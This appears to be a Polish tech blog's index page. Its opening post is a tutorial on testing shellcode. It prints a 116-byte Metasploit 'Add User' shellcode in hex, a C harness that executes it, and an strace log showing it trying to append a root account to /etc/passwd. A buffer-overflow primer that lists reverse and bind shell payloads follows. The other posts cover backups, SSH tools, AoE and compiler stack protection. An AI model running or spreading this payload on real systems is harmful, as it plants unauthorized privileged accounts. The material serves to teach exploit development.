Shellcode - jak sprawdzić czy działa poprawnie?

Shellcode to nic innego jak kod maszynowy podawany bezpośrednio do wykonania przez procesor w postaci gotowych instrukcji. Zapisany jest zazwyczaj w postaci heksadecymalnej. Tego typu forma musi zostać zachowana i jest konieczna do wykorzystywania shellcodów przy tworzeniu exploitów wykorzystujących błędy w oprogramowaniu. Jedną z najważniejszych cech poprawnego shellcodu jest jego długość (rozmiar) - kod taki powinien być jak najkrótszy czyli dobrze zoptymalizowany. Kolejną bardzo istotną cechą shellcodu jest brak wykorzystania znaków NULL. Dlaczego? Ponieważ NULL oznacza koniec ciągu znaków… a więc nasz shellcode zostałby uwalony np. w połowie podczas kopiowania do pamięci…
Jak więc sprawdzić zarówno jaki rozmiar posiada nasz shellcode jak i czy w ogóle działa ? Poniżej wygenerowany za pomocą metasploitu shellcode o długości 116 bajtów:
unsigned char scode[] =
“\x31\xc9\x83\xe9\xe9\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe4″
“\x89\x4e\xc4\x83\xeb\xfc\xe2\xf4\xd5\x40\xc7\x0f\x8e\xcf\x16\x09″
“\x64\xe3\x4b\x9c\xd5\x40\x1f\xac\x97\xfa\x39\xa0\x8c\xa6\x61\xb4″
“\x85\xe1\x61\xa1\x90\xea\xc7\x27\xa5\x3c\x4a\x09\x64\x1a\xa6\xe7″
“\xe4\x89\x4e\xa7\x96\xe6\x20\xbd\xde\xc8\x0f\xf2\xdc\xda\x2f\x94″
“\xca\xed\x02\xa7\xb7\xcc\x74\xf4\xde\xb9\x74\xfe\xcb\xb3\x61\xa6″
“\x8d\xe7\x61\xb7\x8c\x83\x17\x4f\xb5\x75\x24\xc0\xbc\x44\xce\xae”
“\xe5\xd1\x83\x44″;
Bardzo łatwo można sprawdzić faktyczną długość shellcodu za pomocą kodu poniżej:
char shellcode[] = “moj_shellcode”
int main()
{
int lenght,ret;
lenght = strlen(shellcode);
printf(”%d\n”, lenght);
}
I kolejny kod napisany w C , za pomocą, którego będziemy pewni, że nasz ‘opcode’ działa:
#include
char shellcode[] = “\x31\xc9\x83\xe9\xe9\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe4″
“\x89\x4e\xc4\x83\xeb\xfc\xe2\xf4\xd5\x40\xc7\x0f\x8e\xcf\x16\x09″
“\x64\xe3\x4b\x9c\xd5\x40\x1f\xac\x97\xfa\x39\xa0\x8c\xa6\x61\xb4″
“\x85\xe1\x61\xa1\x90\xea\xc7\x27\xa5\x3c\x4a\x09\x64\x1a\xa6\xe7″
“\xe4\x89\x4e\xa7\x96\xe6\x20\xbd\xde\xc8\x0f\xf2\xdc\xda\x2f\x94″
“\xca\xed\x02\xa7\xb7\xcc\x74\xf4\xde\xb9\x74\xfe\xcb\xb3\x61\xa6″
“\x8d\xe7\x61\xb7\x8c\x83\x17\x4f\xb5\x75\x24\xc0\xbc\x44\xce\xae”
“\xe5\xd1\x83\x44″;
int main (int argc, char **argv)
{
int (*ret)(); /*ret to wskaźnik funkcji */
ret = (int(*)())shellcode; /* ret wskazuje na nasz shellcode */
(int)(*ret)(); /* wykonaj jako funkcję shellcode */
}
Jeśli uruchomisz tego execa z uprawnieniami zwykłego usera otrzymasz:
gdm@slack2:/tmp$ strace ./is
execve(”./is”, ["./is"], [/* 27 vars */]) = 0
uname({sys=”Linux”, node=”slack2″, …}) = 0
brk(0) = 0×804a000
access(”/etc/ld.so.preload”, R_OK) = -1 ENOENT (No such file or directory)
open(”/etc/ld.so.cache”, O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=26720, …}) = 0
mmap2(NULL, 26720, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7f9b000
close(3) = 0
open(”/lib/tls/libc.so.6″, O_RDONLY) = 3
read(3, “\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300P\1″…, 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1366940, …}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7f9a000
mmap2(NULL, 1162428, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7e7e000
mprotect(0xb7f93000, 27836, PROT_NONE) = 0
mmap2(0xb7f94000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0×115) = 0xb7f94000
mmap2(0xb7f98000, 7356, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7f98000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7e7d000
mprotect(0xb7f94000, 4096, PROT_READ) = 0
set_thread_area({entry_number:-1 -> 6, base_addr:0xb7e7d6c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
munmap(0xb7f9b000, 26720) = 0
setreuid(0, 0) = -1 EPERM (Operation not permitted)
open(”/etc//passwd”, O_WRONLY|O_APPEND) = -1 EACCES (Permission denied)
write(-13, “crony:AA68SaP.dLcSE:0:0::/:/bin/”…, 35) = -1 EBADF (Bad file descriptor)
_exit(-13) = ?
Shellcode chciał dodać nowego użytkownika ‘crony’ do systemu, ale niestety nie ma na to w tym przypadku uprawnień.
Należy zwracać uwagę na architekturę, na której testujecie takie kody jak powyżej. Wygenerowany shellcode to: Linux IA32 Add User, a więc na x86_64 działać nie będzie, a w efekcie otrzymacie segfaulta.
Skoro działa, pozostaje tylko odpowiednio go wykorzystać:>
Zrozumieć buffer overflow…

Bezpieczne programowanie w języku C to umiejętność nietrywialna. Zakłada się, że praktycznie każdy duży projekt napisany w języku niskiego poziomu jak C/C++ potencjalnie podatny jest na jeden z ataków związanych z przepełnieniami (i nie tylko). Są to następujące ataki:
- stack overflow
- heap overflow
- format string overflow
- buffer overflow
W niniejszym tekście zajmiemy się zrozumieniem i przeprowadzeniem faktycznego ataku BO na prostą aplikację, która posiada krytyczny błąd.
Atak typu buffer overflow to jeden z najczęściej wykonywanych ataków pozwalający na przejęcie kontroli nad usługą(bądź systemem), co w praktyce oznacza pełną bądź częściową(jeśli nie otrzymamy uid=0) kompromitację systemu.
Buffer overflow polega na przepełnieniu bufora w sposób pozwalający nadpisać adres powrotny funkcji (RET), która zostaje “zdjęta” ze stosu. Zazwyczaj doprowadzić chcemy, aby adres powrotny funkcji wskazywał na kod maszynowy (shellcode), czyli binarny obraz funkcji, który przekazany zostanie do bufora. W ten oto sposób możliwe jest wykonanie dowolnego kodu, np. reverse shell czy bind shell, który wykonany zostanie z uprawnieniami procesu, który będziemy atakować. Poniżej lista typowych shellcodów wykorzystywanych w środowisku Linux (źródło pochodzenia www.metasploit.com:55555):
Linux IA32 Add User
Linux IA32 Bind Shell
Linux IA32 Execute Command
Linux IA32 Recv Tag Findsock Shell
Linux IA32 Reverse Impurity Upload/Execute
Linux IA32 Reverse Shell
Linux IA32 Reverse UDP Shell
Linux IA32 SrcPort Findsock Shell
Linux IA32 Staged Bind Shell
Linux IA32 Staged Findsock Shell
Linux IA32 Staged Reverse Shell
Dla celow tego artykułu wykorzystamy program, ktory zawiera błąd BO:
Bacula - howto

Dla wszystkich zainteresowanych tematem backupów i odzyskiwania danych udostępniam PDF-a mojego autorstwa. Opisuję w nim w jaki sposób ujarzmić projekt Bacula. Od razu podkreślam, że nie ma tam lania wody, jest bałagan w tekście itp itd. Ale jeśli ktoś jest zainteresowany tematem znajdzie w tym dokumencie mnóstwo informacji… :>
Bacula to opensource’owy system do backupowania, odtwarzania i zarządzania danymi, nadający się w pełni do wdrożenia dla infrastruktury produkcyjnej. Polecam!
Link do dokumentu PDF: crony-bacula.pdf
New version - SSHC v0.74-beta
Najnowsza wersja SSH connectora zawiera kilka nowych funkcji takich jak sprawdzanie resolvowania domeny na adres IP, sprawdzanie użytkownika uruchamiającego sshc i użycie go jako domyślnego usera (jeśli nie ma wpisu w configu). Oprócz tego dodałem parę zmian do skryptu instalacyjnego. W przyszłości jednak chciałbym z niego zrezygnować na rzecz rozwiązania automake…Link do sshc: sshc.e-guardian.org
Z cyklu ’szybki tips’ :)
Dużo mam na dysku tekstów napisanych przez siebie, których z jakichś powodów nie dokończyłem…Nieważne…Postanowiłem, za każdym razem gdy coś znajdę, opublikować to w formie małego arta, który być może zainteresuje:) Na początek Submountd.
Submountd –> alternatywa dla autofs-a [ na podstawie systemu Gentoo ].
Demon ten pozwoli na automatyczne montowanie pendrive’a (badz innych urzadzen) do katalogu /mnt_auto/pendrive.
System plikow znajdujacy sie na flashu to reiserfs. W podanym przykladzie, automatycznie
montowanym dyskiem jest /dev/sda1. Te informacje umiescimy pozniej w pliku /etc/fstab. (więcej…)
iniParser - biblioteka do parsowania plikow ini
Pisząc aplikację w C natknąłem się na problem związany z plikiem
konfiguracyjnym. Dotyczył on konkretnie jego parsowania i odczytywania wartości.
Zalożeniem była obsługa configa podobnego do smb.conf-a z Samby. Poniżej
przykład:
[nazwa sekcji]
x1 = jojo
x2 = jojo2
x3 = 12345
x4 = testowanie
Napisanie sprawnego parsera zajęłoby mi pewnie mnóstwo czasu, dlatego
postanowiłem poszukać gotowej biblioteki. W myślach pojawiała się już nawet myśl związana z szukaniem funkcji z tym związanych w źródlach Samby…
Szybkim rozwiązaniem okazała się biblioteka iniparser http://ndevilla.free.fr/iniparser
Kompilacja standardowa… Powstaje nam biblioteka, którą linkujemy z naszym programem.
Koniecznością jest zaincludowanie pliku nagłówkowego “iniparser.h”. Do dyspozycji mamy następujące funkcje:
http://ndevilla.free.fr/iniparser
Sama bibliotekę wykorzystałem do projektu “Ncurses SSH connector”, który jest swego
rodzaju tekstową implementacją programu putty. Wkrótce zamieszczę wersję do testowania ![]()
ATA over Ethernet ( AoE ) HOWTO Freebsd & Linux
Aoe jest to protokół, za pomocą którego możemy zbudować sieć pamięci masowych w prosty, szybki i tani sposób. Powierzchnia dyskowa w dzisiejszych czasach bardzo szybko się kończy , a ilość podłączonych dysków do serwera jest ograniczona. Za pomocą AoE możemy podłączyć kolejne dyski… z tym, że za pomocą Ethernetu:) Protokół AoE przesyła dane przez standardowe połączenia Ethernet (nie korzystając z usług protokołu TCP/IP), używając do tego celu poleceń dyskowych ATA. Systemy pamięci masowych oparte na protokole AoE eliminują potrzebę budowania drogiej infrastruktury Fibre Channel. Istnieje na rynku produkt firmy Corraid która jako pierwsza wykorzystała Aoe w swoim EtherDrive Storage Blade (bądź jest jego autorem, nie wiem teraz dokładnie…). Tyle z teorii. Konfigurację przedstawię na podstawie systemu Gentoo Linux (server) oraz Freebsd 6.2 (client), jako że potrzebowałem więcej powierzchni na moim routerze:D
Bezpieczeństwo aplikacji flashowych - flash security
Znalazłem ostatnio dokument na dysku, którego pisałem parę miesięcy temu. Miał on w szybki i bezbolesny sposób ukazać jak wygląda (nie)bezpieczeństwo aplikacji flashowych. To tylko 0.0001% tematu, ale wierzę, że szybko może podsunąć kolejne pomysły czytelnikom . (więcej…)
Propolice i FreeBSD 6.2
Propolice(stack smashing protection, SSP) to extension dla kompilatora GCC podwyższający ochronę przed atakami typu buffer overflow, stack overflow(nie obejmuje heap overflow) napisany przez programistów IBM-a. Wiadomo, że napisanie aplikacji w języku C/C++ bez błędów jest praktycznie niemożliwe. Zawsze znajdzie się ktoś lub coś… Autorzy Propolice’a podeszli do tematu w trochę inny sposób, implementując w każdy kompilowany kod funkcje, które przeciwdziałają niepożądanym skutkom. Za pomocą tzw. kanarka, który umiejscowiony jest na stercie pomiędzy buforem, a danymi możliwe jest wykrycie przepełnienia. Jeśli zostanie on zniszczony, znaczy to, że bufor w pamięci został przepełniony.
Implementacja w systemie FreeBSD 6.2 wygląda następująco:
Bacula - profesjonalny backup system
Bacula to opensource’owy system do backupowania danych, odtwarzania i zarządzania tymi danymi, nadający się w pełni do wprowadzenia w system produkcyjny. Nadal agresywanie rozwijany projekt doczekał się na dzień dzisiejszy (25.03.2007r.) wersji 2.0.3. W tym artykule postaram się przybliżyć zasadę działania oraz konfigurację pozwalającą na zapisywanie backupów na dysk i na urządzenie taśmowe. Strona domowa projektu: www.bacula.org.
Link do dokumentu PDF: crony-bacula.pdf